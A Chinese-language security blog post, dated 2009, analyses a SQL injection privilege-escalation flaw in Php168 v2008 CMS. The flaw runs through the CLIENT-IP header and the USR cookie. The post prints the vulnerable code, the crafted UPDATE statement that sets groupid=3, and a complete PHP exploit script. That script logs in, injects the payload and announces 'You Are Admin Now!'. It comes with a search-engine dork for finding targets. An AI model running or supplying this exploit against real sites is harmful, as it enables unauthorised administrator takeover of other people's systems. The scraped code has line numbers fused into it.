简单分析下这个 Php168 v2008 权限提升漏洞利用工具代码exploit:
common.inc.php
1if($_SERVER['HTTP_CLIENT_IP']){2     $onlineip=$_SERVER['HTTP_CLIENT_IP'];3}elseif($_SERVER['HTTP_X_FORWARDED_FOR']){4     $onlineip=$_SERVER['HTTP_X_FORWARDED_FOR'];5}else{6     $onlineip=$_SERVER['REMOTE_ADDR'];7}8$onlineip = preg_replace("/^([d.]+).*/", "\1", filtrate($onlineip));//这个地方使用preg_replace存在着安全隐患,之前就暴过漏洞,官方修补的方法是用filtrate函数处理了下$onlineip 看一下filtrate函数是怎么处理的
function.inc.php
function filtrate($msg){ $msg = str_replace(’&’,’&’,$msg); $msg = str_replace(’ ’,’ ’,$msg); $msg = str_replace(’”’,’”’,$msg); $msg = str_replace(”’”,''',$msg); $msg = str_replace(”<”,”<”,$msg); $msg = str_replace(”>”,”>”,$msg); $msg = str_replace(” ”,” ”,$msg); $msg = str_replace(” ”,"",$msg); $msg = str_replace(” ”,” ”,$msg); return $msg; }
过滤了’“<等,但是没有处理
common.inc.php
1    if($usr_oltime>30||!$usr_oltime){2        $usr_oltime>600 && $usr_oltime=600;3        include(PHP168_PATH."php168/level.php");4        if( isset($memberlevel[$lfjdb[groupid]]) ){5            $SQL=",groupid=8";6            $lfjdb[money]=get_money($lfjuid);7            foreach( $memberlevel AS $key=>$value){8                if($lfjdb[money]>=$value){9                    $SQL=",groupid=$key";10                }11            }12        }else{13            $SQL="";14        }15        $db->query("UPDATE {$pre}memberdata SET lastvist='$timestamp',lastip='$onlineip',oltime=oltime+'$usr_oltime'$SQL WHERE uid='$lfjuid'");3 collapsed lines
16//因为这个地方是拼接字符串的形式,所以可以使用来转义',然后利用$usr_oltime来注射:)另外要注意的是$usr_oltime有一个简单的判断的,而且还要保证sql语句的语法正确,看下我构造的语句:17
18UPDATE {$pre}memberdata SET lastvist='$timestamp',lastip='[]',oltime=oltime+'[+31,groupid=3,introduce=0x70757265745f74 WHERE uid=2#]'$SQL WHERE uid='$lfjuid'最后给出 Php168 v2008 权限提升漏洞利用工具代码exploit:
1#!/usr/bin/php2<?php3
4print_r('5+---------------------------------------------------------------------------+6[Php168 <= v2008 update user access exploit](/blog/php168-v2008-update-user-access-exploit)7by puret_t8mail: puretot at gmail dot com9team: http://www.wolvez.org10dork: "Powered by PHP168"11+---------------------------------------------------------------------------+12');13/**14 * works regardless of php.ini settings15 */112 collapsed lines
16if ($argc < 5) {17    print_r('18+---------------------------------------------------------------------------+19Usage: php '.$argv[0].' host path user pass20host:      target server (ip/hostname)21path:      path to php16822user:      login username23pass:      login password24Example:25php '.$argv[0].' localhost /php168/26+---------------------------------------------------------------------------+27');28    exit;29}30
31error_reporting(7);32ini_set('max_execution_time', 0);33
34$host = $argv[1];35$path = $argv[2];36$user = $argv[3];37$pass = $argv[4];38
39$resp = send();40preg_match('/Set-Cookie:s(passport=([0-9]{1,4})%09[a-zA-Z0-9%]+)/', $resp, $cookie);41
42if ($cookie)43    if (strpos(send(), 'puret_t') !== false)44        exit("Expoilt Success!45You Are Admin Now!46");47    else48        exit("Exploit Failed!49");50else51    exit("Exploit Failed!52");53
54function rands($length = 8)55{56    $hash = '';57    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';58    $max = strlen($chars) - 1;59    mt_srand((double)microtime() * 1000000);60    for ($i = 0; $i < $length; $i++)61        $hash .= $chars[mt_rand(0, $max)];62
63    return $hash;64}65
66function send()67{68    global $host, $path, $user, $pass, $cookie;69
70    if ($cookie) {71        $cookie[1] .= ';USR='.rands()." %2b31,groupid=3,introduce=0x70757265745f74 WHERE uid=$cookie[2]# ";72        $cmd = '';73
74        $message = "POST ".$path."member/userinfo.php  HTTP/1.175";76        $message .= "Accept: */*77";78        $message .= "Accept-Language: zh-cn79";80        $message .= "Content-Type: application/x-www-form-urlencoded81";82        $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)83";84        $message .= "CLIENT-IP: ryat\85";86        $message .= "Host: $host87";88        $message .= "Content-Length: ".strlen($cmd)."89";90        $message .= "Connection: Close91";92        $message .= "Cookie: ".$cookie[1]."93";94        $message .= $cmd;95    } else {96        $cmd = "username=$user&password=$pass&step=2";97
98        $message = "POST ".$path."login.php  HTTP/1.199";100        $message .= "Accept: */*101";102        $message .= "Accept-Language: zh-cn103";104        $message .= "Content-Type: application/x-www-form-urlencoded105";106        $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)107";108        $message .= "Host: $host109";110        $message .= "Content-Length: ".strlen($cmd)."111";112        $message .= "Connection: Close113";114        $message .= $cmd;115    }116
117    $fp = fsockopen($host, 80);118    fputs($fp, $message);119
120    $resp = '';121
122    while ($fp && !feof($fp))123        $resp .= fread($fp, 1024);124
125    return $resp;126}127?>by Ryat http://www.wolvez.org 2009-01-25
